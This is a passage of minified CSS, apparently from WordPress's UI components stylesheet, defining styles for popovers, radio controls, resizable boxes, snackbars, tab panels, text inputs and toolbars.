currentColor; margin-right: 1ch; } .components-placeholder__fieldset, .components-placeholder__fieldset form { display: flex; flex-direction: row; width: 100%; flex-wrap: wrap; } .components-placeholder__fieldset p, .components-placeholder__fieldset form p { font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Oxygen-Sans, Ubuntu, Cantarell, "Helvetica Neue", sans-serif; font-size: 13px; } .components-placeholder__fieldset.is-column-layout, .components-placeholder__fieldset.is-column-layout form { flex-direction: column; } .components-placeholder__input[type=url] { font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Oxygen-Sans, Ubuntu, Cantarell, "Helvetica Neue", sans-serif; padding: 6px 8px; box-shadow: 0 0 0 transparent; transition: box-shadow 0.1s linear; border-radius: 2px; border: 1px solid #757575; /* Fonts smaller than 16px causes mobile safari to zoom. */ font-size: 16px; /* Override core line-height. To be reviewed. */ line-height: normal; margin: 0 8px 0 0; flex: 1 1 auto; } @media (prefers-reduced-motion: reduce) { .components-placeholder__input[type=url] { transition-duration: 0s; } } @media (min-width: 600px) { .components-placeholder__input[type=url] { font-size: 13px; /* Override core line-height. To be reviewed. */ line-height: normal; } } .components-placeholder__input[type=url]:focus { border-color: #007cba; border-color: var(--wp-admin-theme-color); box-shadow: 0 0 0 1px #007cba; box-shadow: 0 0 0 1px var(--wp-admin-theme-color); outline: 2px solid transparent; } .components-placeholder__input[type=url]::-webkit-input-placeholder { color: rgba(30, 30, 30, 0.62); } .components-placeholder__input[type=url]::-moz-placeholder { opacity: 1; color: rgba(30, 30, 30, 0.62); } .components-placeholder__input[type=url]:-ms-input-placeholder { color: rgba(30, 30, 30, 0.62); } .is-dark-theme .components-placeholder__input[type=url]::-webkit-input-placeholder { color: rgba(255, 255, 255, 0.65); } .is-dark-theme .components-placeholder__input[type=url]::-moz-placeholder { opacity: 1; color: rgba(255, 255, 255, 0.65); } .is-dark-theme .components-placeholder__input[type=url]:-ms-input-placeholder { color: rgba(255, 255, 255, 0.65); } .components-placeholder__instructions { margin-bottom: 1em; } .components-placeholder__error { margin-top: 1em; width: 100%; } .components-placeholder__preview img { margin: 3%; width: 50%; } .components-placeholder__fieldset .components-button { margin-right: 12px; margin-bottom: 12px; } .components-placeholder__fieldset .components-button:last-child { margin-bottom: 0; margin-right: 0; } .components-placeholder__fieldset .components-button:not(.is-link) ~ .components-button.is-link { margin-left: 10px; margin-right: 10px; } .components-placeholder__fieldset .components-button:not(.is-link) ~ .components-button.is-link:last-child { margin-right: 0; } .components-placeholder.is-large .components-placeholder__label { font-size: 18pt; font-weight: normal; } .components-placeholder.is-medium .components-placeholder__instructions, .components-placeholder.is-small .components-placeholder__instructions { display: none; } .components-placeholder.is-medium .components-placeholder__fieldset, .components-placeholder.is-medium .components-placeholder__fieldset form, .components-placeholder.is-small .components-placeholder__fieldset, .components-placeholder.is-small .components-placeholder__fieldset form { flex-direction: column; } .components-placeholder.is-medium .components-placeholder__fieldset .components-button, .components-placeholder.is-small .components-placeholder__fieldset .components-button { margin-right: auto; } .components-placeholder.is-small .components-button { padding: 0 8px 2px; } /*!rtl:begin:ignore*/ .components-popover { position: fixed; z-index: 1000000; top: 0; left: 0; opacity: 0; } .components-popover.is-expanded, .components-popover[data-x-axis][data-y-axis] { opacity: 1; } .components-popover.is-expanded { top: 0; left: 0; right: 0; bottom: 0; z-index: 1000000 !important; } .components-popover:not(.is-without-arrow) { margin-left: 2px; } .components-popover:not(.is-without-arrow)::before { border: 8px solid #ccc; } .components-popover:not(.is-without-arrow).is-alternate::before { border-color: #1e1e1e; } .components-popover:not(.is-without-arrow)::after { border: 8px solid #fff; } .components-popover:not(.is-without-arrow)::before, .components-popover:not(.is-without-arrow)::after { content: ""; position: absolute; height: 0; width: 0; line-height: 0; } .components-popover:not(.is-without-arrow)[data-y-axis=top] { margin-top: -8px; } .components-popover:not(.is-without-arrow)[data-y-axis=top]::before { bottom: -8px; } .components-popover:not(.is-without-arrow)[data-y-axis=top]::after { bottom: -6px; } .components-popover:not(.is-without-arrow)[data-y-axis=top]::before, .components-popover:not(.is-without-arrow)[data-y-axis=top]::after { border-bottom: none; border-left-color: transparent; border-right-color: transparent; border-top-style: solid; margin-left: -10px; } .components-popover:not(.is-without-arrow)[data-y-axis=bottom] { margin-top: 8px; } .components-popover:not(.is-without-arrow)[data-y-axis=bottom]::before { top: -8px; } .components-popover:not(.is-without-arrow)[data-y-axis=bottom]::after { top: -6px; } .components-popover:not(.is-without-arrow)[data-y-axis=bottom]::before, .components-popover:not(.is-without-arrow)[data-y-axis=bottom]::after { border-bottom-style: solid; border-left-color: transparent; border-right-color: transparent; border-top: none; margin-left: -10px; } .components-popover:not(.is-without-arrow)[data-y-axis=middle][data-x-axis=left] { margin-left: -8px; } .components-popover:not(.is-without-arrow)[data-y-axis=middle][data-x-axis=left]::before { right: -8px; } .components-popover:not(.is-without-arrow)[data-y-axis=middle][data-x-axis=left]::after { right: -6px; } .components-popover:not(.is-without-arrow)[data-y-axis=middle][data-x-axis=left]::before, .components-popover:not(.is-without-arrow)[data-y-axis=middle][data-x-axis=left]::after { border-bottom-color: transparent; border-left-style: solid; border-right: none; border-top-color: transparent; } .components-popover:not(.is-without-arrow)[data-y-axis=middle][data-x-axis=right] { margin-left: 8px; } .components-popover:not(.is-without-arrow)[data-y-axis=middle][data-x-axis=right]::before { left: -8px; } .components-popover:not(.is-without-arrow)[data-y-axis=middle][data-x-axis=right]::after { left: -6px; } .components-popover:not(.is-without-arrow)[data-y-axis=middle][data-x-axis=right]::before, .components-popover:not(.is-without-arrow)[data-y-axis=middle][data-x-axis=right]::after { border-bottom-color: transparent; border-left: none; border-right-style: solid; border-top-color: transparent; } .components-popover[data-y-axis=top] { bottom: 100%; } .components-popover[data-y-axis=bottom] { top: 100%; } .components-popover[data-y-axis=middle] { align-items: center; display: flex; } .components-popover.is-from-top { margin-top: 12px; } .components-popover.is-from-bottom { margin-top: -12px; } .components-popover.is-from-left:not(.is-from-top):not(.is-from-bottom) { margin-left: 12px; } .components-popover.is-from-right:not(.is-from-top):not(.is-from-bottom) { margin-right: 12px; } .components-popover__content { height: 100%; background: #fff; border: 1px solid #ccc; box-shadow: 0 2px 6px rgba(0, 0, 0, 0.05); border-radius: 2px; } .is-alternate .components-popover__content { border: 1px solid #1e1e1e; box-shadow: none; } .components-popover .components-popover__content { position: absolute; height: auto; overflow-y: auto; } .components-popover.is-expanded .components-popover__content { position: static; height: calc(100% - 48px); overflow-y: visible; min-width: auto; border: none; border-top: 1px solid #1e1e1e; } .components-popover[data-y-axis=top] .components-popover__content { bottom: 100%; } .components-popover[data-x-axis=center] .components-popover__content { left: 50%; transform: translateX(-50%); } .components-popover[data-x-axis=right] .components-popover__content { position: absolute; left: 100%; } .components-popover:not([data-y-axis=middle])[data-x-axis=right] .components-popover__content { margin-left: -25px; } .components-popover[data-x-axis=left] .components-popover__content { position: absolute; right: 100%; } .components-popover:not([data-y-axis=middle])[data-x-axis=left] .components-popover__content { margin-right: -25px; } .components-popover__header { align-items: center; background: #fff; display: flex; height: 48px; justify-content: space-between; padding: 0 8px 0 16px; } .components-popover__header-title { overflow: hidden; text-overflow: ellipsis; white-space: nowrap; width: 100%; } .components-popover__close.components-button { z-index: 5; } /*!rtl:end:ignore*/ .components-radio-control { display: flex; flex-direction: column; } .components-radio-control .components-base-control__help { margin-top: 0; } .components-radio-control .components-base-control__field { margin-bottom: 0; } .components-radio-control__option:not(:last-child) { margin-bottom: 4px; } .components-radio-control__input[type=radio] { font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Oxygen-Sans, Ubuntu, Cantarell, "Helvetica Neue", sans-serif; padding: 6px 8px; box-shadow: 0 0 0 transparent; transition: box-shadow 0.1s linear; border-radius: 2px; border: 1px solid #757575; /* Fonts smaller than 16px causes mobile safari to zoom. */ font-size: 16px; /* Override core line-height. To be reviewed. */ line-height: normal; border: 1px solid #1e1e1e; margin-right: 12px; transition: none; border-radius: 50%; width: 24px; height: 24px; margin-top: 0; margin-right: 6px; } @media (prefers-reduced-motion: reduce) { .components-radio-control__input[type=radio] { transition-duration: 0s; } } @media (min-width: 600px) { .components-radio-control__input[type=radio] { font-size: 13px; /* Override core line-height. To be reviewed. */ line-height: normal; } } .components-radio-control__input[type=radio]:focus { border-color: #007cba; border-color: var(--wp-admin-theme-color); box-shadow: 0 0 0 1px #007cba; box-shadow: 0 0 0 1px var(--wp-admin-theme-color); outline: 2px solid transparent; } .components-radio-control__input[type=radio]::-webkit-input-placeholder { color: rgba(30, 30, 30, 0.62); } .components-radio-control__input[type=radio]::-moz-placeholder { opacity: 1; color: rgba(30, 30, 30, 0.62); } .components-radio-control__input[type=radio]:-ms-input-placeholder { color: rgba(30, 30, 30, 0.62); } .is-dark-theme .components-radio-control__input[type=radio]::-webkit-input-placeholder { color: rgba(255, 255, 255, 0.65); } .is-dark-theme .components-radio-control__input[type=radio]::-moz-placeholder { opacity: 1; color: rgba(255, 255, 255, 0.65); } .is-dark-theme .components-radio-control__input[type=radio]:-ms-input-placeholder { color: rgba(255, 255, 255, 0.65); } @media (min-width: 600px) { .components-radio-control__input[type=radio] { height: 20px; width: 20px; } } .components-radio-control__input[type=radio]:checked::before { width: 8px; height: 8px; transform: translate(7px, 7px); margin: 0; background-color: #fff; border: 4px solid #fff; } @media (min-width: 600px) { .components-radio-control__input[type=radio]:checked::before { transform: translate(5px, 5px); } } .components-radio-control__input[type=radio]:focus { box-shadow: 0 0 0 2px #fff, 0 0 0 4px #007cba; box-shadow: 0 0 0 2px #fff, 0 0 0 4px var(--wp-admin-theme-color); outline: 2px solid transparent; } .components-radio-control__input[type=radio]:checked { background: #007cba; background: var(--wp-admin-theme-color); border-color: #007cba; border-color: var(--wp-admin-theme-color); } .components-resizable-box__handle { display: none; width: 23px; height: 23px; z-index: 2; } .components-resizable-box__container.has-show-handle .components-resizable-box__handle { display: block; } .components-resizable-box__handle::after { display: block; content: ""; width: 15px; height: 15px; border: 2px solid #fff; border-radius: 50%; background: #007cba; background: var(--wp-admin-theme-color); cursor: inherit; position: absolute; top: calc(50% - 8px); right: calc(50% - 8px); } .components-resizable-box__side-handle::before { display: block; content: ""; width: 7px; height: 7px; border: 2px solid #fff; background: #007cba; background: var(--wp-admin-theme-color); cursor: inherit; position: absolute; top: calc(50% - 4px); right: calc(50% - 4px); transition: transform 0.1s ease-in; opacity: 0; } @media (prefers-reduced-motion: reduce) { .components-resizable-box__side-handle::before { transition-duration: 0s; } } .is-dark-theme .components-resizable-box__side-handle::before, .is-dark-theme .components-resizable-box__handle::after { border-color: #ddd; } .components-resizable-box__side-handle { z-index: 2; } .components-resizable-box__corner-handle { z-index: 2; } .components-resizable-box__side-handle.components-resizable-box__handle-top, .components-resizable-box__side-handle.components-resizable-box__handle-bottom, .components-resizable-box__side-handle.components-resizable-box__handle-top::before, .components-resizable-box__side-handle.components-resizable-box__handle-bottom::before { width: 100%; left: 0; border-left: 0; border-right: 0; } .components-resizable-box__side-handle.components-resizable-box__handle-left, .components-resizable-box__side-handle.components-resizable-box__handle-right, .components-resizable-box__side-handle.components-resizable-box__handle-left::before, .components-resizable-box__side-handle.components-resizable-box__handle-right::before { height: 100%; top: 0; border-top: 0; border-bottom: 0; } .components-resizable-box__side-handle.components-resizable-box__handle-top:hover::before, .components-resizable-box__side-handle.components-resizable-box__handle-bottom:hover::before, .components-resizable-box__side-handle.components-resizable-box__handle-top:active::before, .components-resizable-box__side-handle.components-resizable-box__handle-bottom:active::before { animation: components-resizable-box__top-bottom-animation 0.1s ease-out 0s; animation-fill-mode: forwards; } @media (prefers-reduced-motion: reduce) { .components-resizable-box__side-handle.components-resizable-box__handle-top:hover::before, .components-resizable-box__side-handle.components-resizable-box__handle-bottom:hover::before, .components-resizable-box__side-handle.components-resizable-box__handle-top:active::before, .components-resizable-box__side-handle.components-resizable-box__handle-bottom:active::before { animation-duration: 1ms; } } .components-resizable-box__side-handle.components-resizable-box__handle-left:hover::before, .components-resizable-box__side-handle.components-resizable-box__handle-right:hover::before, .components-resizable-box__side-handle.components-resizable-box__handle-left:active::before, .components-resizable-box__side-handle.components-resizable-box__handle-right:active::before { animation: components-resizable-box__left-right-animation 0.1s ease-out 0s; animation-fill-mode: forwards; } @media (prefers-reduced-motion: reduce) { .components-resizable-box__side-handle.components-resizable-box__handle-left:hover::before, .components-resizable-box__side-handle.components-resizable-box__handle-right:hover::before, .components-resizable-box__side-handle.components-resizable-box__handle-left:active::before, .components-resizable-box__side-handle.components-resizable-box__handle-right:active::before { animation-duration: 1ms; } } /* This CSS is shown only to Safari, which has a bug with table-caption making it jumpy. See https://bugs.webkit.org/show_bug.cgi?id=187903. */ @media not all and (min-resolution: 0.001dpcm) { @supports (-webkit-appearance: none) { .components-resizable-box__side-handle.components-resizable-box__handle-top:hover::before, .components-resizable-box__side-handle.components-resizable-box__handle-bottom:hover::before, .components-resizable-box__side-handle.components-resizable-box__handle-top:active::before, .components-resizable-box__side-handle.components-resizable-box__handle-bottom:active::before { animation: none; } .components-resizable-box__side-handle.components-resizable-box__handle-left:hover::before, .components-resizable-box__side-handle.components-resizable-box__handle-right:hover::before, .components-resizable-box__side-handle.components-resizable-box__handle-left:active::before, .components-resizable-box__side-handle.components-resizable-box__handle-right:active::before { animation: none; } } } @keyframes components-resizable-box__top-bottom-animation { from { transform: scaleX(0); opacity: 0; } to { transform: scaleX(1); opacity: 1; } } @keyframes components-resizable-box__left-right-animation { from { transform: scaleY(0); opacity: 0; } to { transform: scaleY(1); opacity: 1; } } /*!rtl:begin:ignore*/ .components-resizable-box__handle-right { right: calc(11.5px * -1); } .components-resizable-box__handle-left { left: calc(11.5px * -1); } .components-resizable-box__handle-top { top: calc(11.5px * -1); } .components-resizable-box__handle-bottom { bottom: calc(11.5px * -1); } /*!rtl:end:ignore*/ .components-responsive-wrapper { position: relative; max-width: 100%; } .components-responsive-wrapper, .components-responsive-wrapper > span { display: block; } .components-responsive-wrapper__content { position: absolute; top: 0; right: 0; bottom: 0; left: 0; width: 100%; height: 100%; margin: auto; } .components-sandbox { overflow: hidden; } iframe.components-sandbox { width: 100%; } html.lockscroll, body.lockscroll { overflow: hidden; } .components-select-control__input { background: #fff; height: 36px; line-height: 36px; margin: 1px; outline: 0; width: 100%; -webkit-tap-highlight-color: rgba(0, 0, 0, 0) !important; } @media (min-width: 782px) { .components-select-control__input { height: 28px; line-height: 28px; } } @media (max-width: 782px) { .components-base-control .components-base-control__field .components-select-control__input { font-size: 16px; } } .components-snackbar { font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Oxygen-Sans, Ubuntu, Cantarell, "Helvetica Neue", sans-serif; font-size: 13px; background-color: #1e1e1e; border-radius: 2px; box-shadow: 0 2px 4px rgba(0, 0, 0, 0.3); color: #fff; padding: 16px 24px; width: 100%; max-width: 600px; box-sizing: border-box; cursor: pointer; } @media (min-width: 600px) { .components-snackbar { width: -webkit-fit-content; width: -moz-fit-content; width: fit-content; } } .components-snackbar:focus { box-shadow: 0 0 0 1px #fff, 0 0 0 3px #007cba; box-shadow: 0 0 0 1px #fff, 0 0 0 3px var(--wp-admin-theme-color); } .components-snackbar.components-snackbar-explicit-dismiss { cursor: default; } .components-snackbar .components-snackbar__content-with-icon { margin-left: 24px; } .components-snackbar .components-snackbar__icon { position: absolute; top: 24px; left: 28px; } .components-snackbar .components-snackbar__dismiss-button { margin-left: 32px; cursor: pointer; } .components-snackbar__action.components-button { margin-left: 32px; color: #fff; height: auto; flex-shrink: 0; line-height: 1.4; padding: 0; } .components-snackbar__action.components-button:not(:disabled):not([aria-disabled=true]):not(.is-secondary) { text-decoration: underline; background-color: transparent; } .components-snackbar__action.components-button:not(:disabled):not([aria-disabled=true]):not(.is-secondary):focus { color: #fff; box-shadow: none; outline: 1px dotted #fff; } .components-snackbar__action.components-button:not(:disabled):not([aria-disabled=true]):not(.is-secondary):hover { color: #007cba; color: var(--wp-admin-theme-color); } .components-snackbar__content { display: flex; align-items: baseline; justify-content: space-between; line-height: 1.4; } .components-snackbar-list { position: absolute; z-index: 100000; width: 100%; box-sizing: border-box; } .components-snackbar-list__notice-container { position: relative; padding-top: 8px; } .components-tab-panel__tabs { display: flex; align-items: stretch; flex-direction: row; } .components-tab-panel__tabs[aria-orientation=vertical] { flex-direction: column; } .components-tab-panel__tabs-item { background: transparent; border: none; box-shadow: none; border-radius: 0; cursor: pointer; height: 48px; padding: 3px 16px; margin-left: 0; font-weight: 500; transition: box-shadow 0.1s linear; box-sizing: border-box; } .components-tab-panel__tabs-item::after { content: attr(data-label); display: block; height: 0; overflow: hidden; speak: none; visibility: hidden; } .components-tab-panel__tabs-item:focus:not(:disabled) { box-shadow: inset 0 2px #007cba; box-shadow: inset 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color); } .components-tab-panel__tabs-item.is-active { box-shadow: inset 0 0 0 2px transparent, inset 0 -4px 0 0 #007cba; box-shadow: inset 0 0 0 var(--wp-admin-border-width-focus) transparent, inset 0 -4px 0 0 var(--wp-admin-theme-color); position: relative; } .components-tab-panel__tabs-item.is-active::before { content: ""; position: absolute; top: 0; bottom: 1px; right: 0; left: 0; border-bottom: 4px solid transparent; } .components-tab-panel__tabs-item:focus { box-shadow: inset 0 0 0 2px #007cba; box-shadow: inset 0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color); } .components-tab-panel__tabs-item.is-active:focus { box-shadow: inset 0 0 0 2px #007cba, inset 0 -4px 0 0 #007cba; box-shadow: inset 0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color), inset 0 -4px 0 0 var(--wp-admin-theme-color); } .components-text-control__input, .components-text-control__input[type=text], .components-text-control__input[type=tel], .components-text-control__input[type=time], .components-text-control__input[type=url], .components-text-control__input[type=week], .components-text-control__input[type=password], .components-text-control__input[type=color], .components-text-control__input[type=date], .components-text-control__input[type=datetime], .components-text-control__input[type=datetime-local], .components-text-control__input[type=email], .components-text-control__input[type=month], .components-text-control__input[type=number] { width: 100%; font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Oxygen-Sans, Ubuntu, Cantarell, "Helvetica Neue", sans-serif; padding: 6px 8px; box-shadow: 0 0 0 transparent; transition: box-shadow 0.1s linear; border-radius: 2px; border: 1px solid #757575; /* Fonts smaller than 16px causes mobile safari to zoom. */ font-size: 16px; /* Override core line-height. To be reviewed. */ line-height: normal; } @media (prefers-reduced-motion: reduce) { .components-text-control__input, .components-text-control__input[type=text], .components-text-control__input[type=tel], .components-text-control__input[type=time], .components-text-control__input[type=url], .components-text-control__input[type=week], .components-text-control__input[type=password], .components-text-control__input[type=color], .components-text-control__input[type=date], .components-text-control__input[type=datetime], .components-text-control__input[type=datetime-local], .components-text-control__input[type=email], .components-text-control__input[type=month], .components-text-control__input[type=number] { transition-duration: 0s; } } @media (min-width: 600px) { .components-text-control__input, .components-text-control__input[type=text], .components-text-control__input[type=tel], .components-text-control__input[type=time], .components-text-control__input[type=url], .components-text-control__input[type=week], .components-text-control__input[type=password], .components-text-control__input[type=color], .components-text-control__input[type=date], .components-text-control__input[type=datetime], .components-text-control__input[type=datetime-local], .components-text-control__input[type=email], .components-text-control__input[type=month], .components-text-control__input[type=number] { font-size: 13px; /* Override core line-height. To be reviewed. */ line-height: normal; } } .components-text-control__input:focus, .components-text-control__input[type=text]:focus, .components-text-control__input[type=tel]:focus, .components-text-control__input[type=time]:focus, .components-text-control__input[type=url]:focus, .components-text-control__input[type=week]:focus, .components-text-control__input[type=password]:focus, .components-text-control__input[type=color]:focus, .components-text-control__input[type=date]:focus, .components-text-control__input[type=datetime]:focus, .components-text-control__input[type=datetime-local]:focus, .components-text-control__input[type=email]:focus, .components-text-control__input[type=month]:focus, .components-text-control__input[type=number]:focus { border-color: #007cba; border-color: var(--wp-admin-theme-color); box-shadow: 0 0 0 1px #007cba; box-shadow: 0 0 0 1px var(--wp-admin-theme-color); outline: 2px solid transparent; } .components-text-control__input::-webkit-input-placeholder, .components-text-control__input[type=text]::-webkit-input-placeholder, .components-text-control__input[type=tel]::-webkit-input-placeholder, .components-text-control__input[type=time]::-webkit-input-placeholder, .components-text-control__input[type=url]::-webkit-input-placeholder, .components-text-control__input[type=week]::-webkit-input-placeholder, .components-text-control__input[type=password]::-webkit-input-placeholder, .components-text-control__input[type=color]::-webkit-input-placeholder, .components-text-control__input[type=date]::-webkit-input-placeholder, .components-text-control__input[type=datetime]::-webkit-input-placeholder, .components-text-control__input[type=datetime-local]::-webkit-input-placeholder, .components-text-control__input[type=email]::-webkit-input-placeholder, .components-text-control__input[type=month]::-webkit-input-placeholder, .components-text-control__input[type=number]::-webkit-input-placeholder { color: rgba(30, 30, 30, 0.62); } .components-text-control__input::-moz-placeholder, .components-text-control__input[type=text]::-moz-placeholder, .components-text-control__input[type=tel]::-moz-placeholder, .components-text-control__input[type=time]::-moz-placeholder, .components-text-control__input[type=url]::-moz-placeholder, .components-text-control__input[type=week]::-moz-placeholder, .components-text-control__input[type=password]::-moz-placeholder, .components-text-control__input[type=color]::-moz-placeholder, .components-text-control__input[type=date]::-moz-placeholder, .components-text-control__input[type=datetime]::-moz-placeholder, .components-text-control__input[type=datetime-local]::-moz-placeholder, .components-text-control__input[type=email]::-moz-placeholder, .components-text-control__input[type=month]::-moz-placeholder, .components-text-control__input[type=number]::-moz-placeholder { opacity: 1; color: rgba(30, 30, 30, 0.62); } .components-text-control__input:-ms-input-placeholder, .components-text-control__input[type=text]:-ms-input-placeholder, .components-text-control__input[type=tel]:-ms-input-placeholder, .components-text-control__input[type=time]:-ms-input-placeholder, .components-text-control__input[type=url]:-ms-input-placeholder, .components-text-control__input[type=week]:-ms-input-placeholder, .components-text-control__input[type=password]:-ms-input-placeholder, .components-text-control__input[type=color]:-ms-input-placeholder, .components-text-control__input[type=date]:-ms-input-placeholder, .components-text-control__input[type=datetime]:-ms-input-placeholder, .components-text-control__input[type=datetime-local]:-ms-input-placeholder, .components-text-control__input[type=email]:-ms-input-placeholder, .components-text-control__input[type=month]:-ms-input-placeholder, .components-text-control__input[type=number]:-ms-input-placeholder { color: rgba(30, 30, 30, 0.62); } .is-dark-theme .components-text-control__input::-webkit-input-placeholder, .is-dark-theme .components-text-control__input[type=text]::-webkit-input-placeholder, .is-dark-theme .components-text-control__input[type=tel]::-webkit-input-placeholder, .is-dark-theme .components-text-control__input[type=time]::-webkit-input-placeholder, .is-dark-theme .components-text-control__input[type=url]::-webkit-input-placeholder, .is-dark-theme .components-text-control__input[type=week]::-webkit-input-placeholder, .is-dark-theme .components-text-control__input[type=password]::-webkit-input-placeholder, .is-dark-theme .components-text-control__input[type=color]::-webkit-input-placeholder, .is-dark-theme .components-text-control__input[type=date]::-webkit-input-placeholder, .is-dark-theme .components-text-control__input[type=datetime]::-webkit-input-placeholder, .is-dark-theme .components-text-control__input[type=datetime-local]::-webkit-input-placeholder, .is-dark-theme .components-text-control__input[type=email]::-webkit-input-placeholder, .is-dark-theme .components-text-control__input[type=month]::-webkit-input-placeholder, .is-dark-theme .components-text-control__input[type=number]::-webkit-input-placeholder { color: rgba(255, 255, 255, 0.65); } .is-dark-theme .components-text-control__input::-moz-placeholder, .is-dark-theme .components-text-control__input[type=text]::-moz-placeholder, .is-dark-theme .components-text-control__input[type=tel]::-moz-placeholder, .is-dark-theme .components-text-control__input[type=time]::-moz-placeholder, .is-dark-theme .components-text-control__input[type=url]::-moz-placeholder, .is-dark-theme .components-text-control__input[type=week]::-moz-placeholder, .is-dark-theme .components-text-control__input[type=password]::-moz-placeholder, .is-dark-theme .components-text-control__input[type=color]::-moz-placeholder, .is-dark-theme .components-text-control__input[type=date]::-moz-placeholder, .is-dark-theme .components-text-control__input[type=datetime]::-moz-placeholder, .is-dark-theme .components-text-control__input[type=datetime-local]::-moz-placeholder, .is-dark-theme .components-text-control__input[type=email]::-moz-placeholder, .is-dark-theme .components-text-control__input[type=month]::-moz-placeholder, .is-dark-theme .components-text-control__input[type=number]::-moz-placeholder { opacity: 1; color: rgba(255, 255, 255, 0.65); } .is-dark-theme .components-text-control__input:-ms-input-placeholder, .is-dark-theme .components-text-control__input[type=text]:-ms-input-placeholder, .is-dark-theme .components-text-control__input[type=tel]:-ms-input-placeholder, .is-dark-theme .components-text-control__input[type=time]:-ms-input-placeholder, .is-dark-theme .components-text-control__input[type=url]:-ms-input-placeholder, .is-dark-theme .components-text-control__input[type=week]:-ms-input-placeholder, .is-dark-theme .components-text-control__input[type=password]:-ms-input-placeholder, .is-dark-theme .components-text-control__input[type=color]:-ms-input-placeholder, .is-dark-theme .components-text-control__input[type=date]:-ms-input-placeholder, .is-dark-theme .components-text-control__input[type=datetime]:-ms-input-placeholder, .is-dark-theme .components-text-control__input[type=datetime-local]:-ms-input-placeholder, .is-dark-theme .components-text-control__input[type=email]:-ms-input-placeholder, .is-dark-theme .components-text-control__input[type=month]:-ms-input-placeholder, .is-dark-theme .components-text-control__input[type=number]:-ms-input-placeholder { color: rgba(255, 255, 255, 0.65); } .components-tip { display: flex; color: #757575; } .components-tip svg { -ms-grid-row-align: center; align-self: center; fill: #f0b849; flex-shrink: 0; margin-right: 16px; } .components-tip p { margin: 0; } .components-toggle-control .components-base-control__field { display: flex; margin-bottom: 12px; line-height: initial; align-items: center; } .components-toggle-control .components-base-control__field .components-form-toggle { margin-right: 12px; } .components-toggle-control .components-base-control__field .components-toggle-control__label { display: block; } .components-accessible-toolbar { display: inline-flex; border: 1px solid #1e1e1e; border-radius: 2px; flex-shrink: 0; } .components-accessible-toolbar > .components-toolbar-group:last-child { border-right: none; } .components-accessible-toolbar .components-button, .components-toolbar .components-button { position: relative; height: 48px; z-index: 1; padding-left: 16px; padding-right: 16px; } .components-accessible-toolbar .components-button:focus:enabled, .components-toolbar .components-button:focus:enabled { box-shadow: none; outline: none; } .components-accessible-toolbar .components-button::before, .components-toolbar .components-button::before { content: ""; position: absolute; display: block; border-radius: 2px; height: 32px; left: 8px; right: 8px; z-index: -1; animation: components-button__appear-animation 0.1s ease; animation-fill-mode: forwards; } @media (prefers-reduced-motion: reduce) { .components-accessible-toolbar .components-button::before, .components-toolbar .components-button::before { animation-duration: 1ms; } } .components-accessible-toolbar .components-button svg, .components-toolbar .components-button svg { position: relative; margin-left: auto; margin-right: auto; } .components-accessible-toolbar .components-button.is-pressed, .components-toolbar .components-button.is-pressed { background: transparent; } .components-accessible-toolbar .components-button.is-pressed:hover, .components-toolbar .components-button.is-pressed:hover { background: transparent; } .components-accessible-toolbar .components-button.is-pressed::before, .components-toolbar .components-button.is-pressed::before { background: #1e1e1e; } .components-accessible-toolbar .components-button:focus::before, .components-toolbar .components-button:focus::before { box-shadow: inset 0 0 0 2px #007cba, inset 0 0 0 4px #fff; box-shadow: inset 0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color), inset 0 0 0 4px #fff; outline: 2px solid transparent; } .components-accessible-toolbar .components-button.has-icon, .components-toolbar .components-button.has-icon { padding-left: 8px; padding-right: 8px; min-width: 48px; justify-content: center; } .components-accessible-toolbar .components-button.components-tab-button, .components-toolbar .components-button.components-tab-button { font-weight: 500; } .components-accessible-toolbar .components-button.components-tab-button span, .components-toolbar .components-button.components-tab-button span { display: inline-block; padding-left: 0; padding-right: 0; position: relative; } @keyframes components-button__appear-animation { from { transform: scaleY(0); } to { transform: scaleY(1); } } .components-toolbar__control.components-button { position: relative; } .components-toolbar__control.components-button[data-subscript] svg { padding: 5px 10px 5px 0; } .components-toolbar__control.components-button[data-subscript]::after { content: attr(data-subscript); font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Oxygen-Sans, Ubuntu, Cantarell, "Helvetica Neue", sans-serif; font-size: 13px; font-weight: 600; line-height: 12px; position: absolute; right: 8px; bottom: 10px; } .components-toolbar__control.components-button:active::before { display: none; } .components-toolbar__control.components-button:not(:disabled).is-pressed[data-subscript]::after { color: #fff; } .components-toolbar-group { min-height: 48px; border-right: 1px solid #1e1e1e; background-color: #fff; display: inline-flex; flex-shrink: 0; flex-wrap: wrap; line-height: 0; } .components-toolbar-group .components-toolbar-group.components-toolbar-group { border-width: 0; margin: 0; } .components-toolbar { min-height: 48px; margin: 0; border: 1px solid #1e1e1e; background-color: #fff; display: inline-flex; flex-shrink: 0; flex-wrap: wrap; } .components-toolbar .components-toolbar.components-toolbar { border-width: 0; margin: 0; } div.components-toolbar > div { display: block; margin: 0; } @supports ((position: -webkit-sticky) or (position: sticky)) { div.components-toolbar > div { display: flex; } } div.components-toolbar > div + div.has-left-divider { margin-left: 6px; position: relative; overflow: visible; } div.components-toolbar > div + div.has-left-divider::before { display: inline-block; content: ""; box-sizing: content-box; background-color: #ddd; position: absolute; top: 8px; left: -3px; width: 1px; height: 20px; } .components-accessible-toolbar .components-toolbar-group > .components-button.components-button.has-icon, .components-toolbar div > .components-button.components-button.has-icon { min-width: 36px; padding-left: 6px; padding-right: 6px; } .components-accessible-toolbar .components-toolbar-group > .components-button.components-button.has-icon svg, .components-toolbar div > .components-button.components-button.has-icon svg { min-width: 24px; } .components-accessible-toolbar .components-toolbar-group > .components-button.components-button.has-icon::before, .components-toolbar div > .components-button.components-button.has-icon::before { left: 2px; right: 2px; } .components-accessible-toolbar .components-toolbar-group > .components-button:first-child.has-icon, .components-accessible-toolbar .components-toolbar-group > div:first-child > .components-button.has-icon, .components-toolbar div:first-child .components-button.has-icon { min-width: 42px; padding-left: 11px; padding-right: 6px; } .components-accessible-toolbar .components-toolbar-group > .components-button:first-child.has-icon::before, .components-accessible-toolbar .components-toolbar-group > div:first-child > .components-button.has-icon::before, .components-toolbar div:first-child .components-button.has-icon::before { left: 8px; right: 2px; } .components-accessible-toolbar 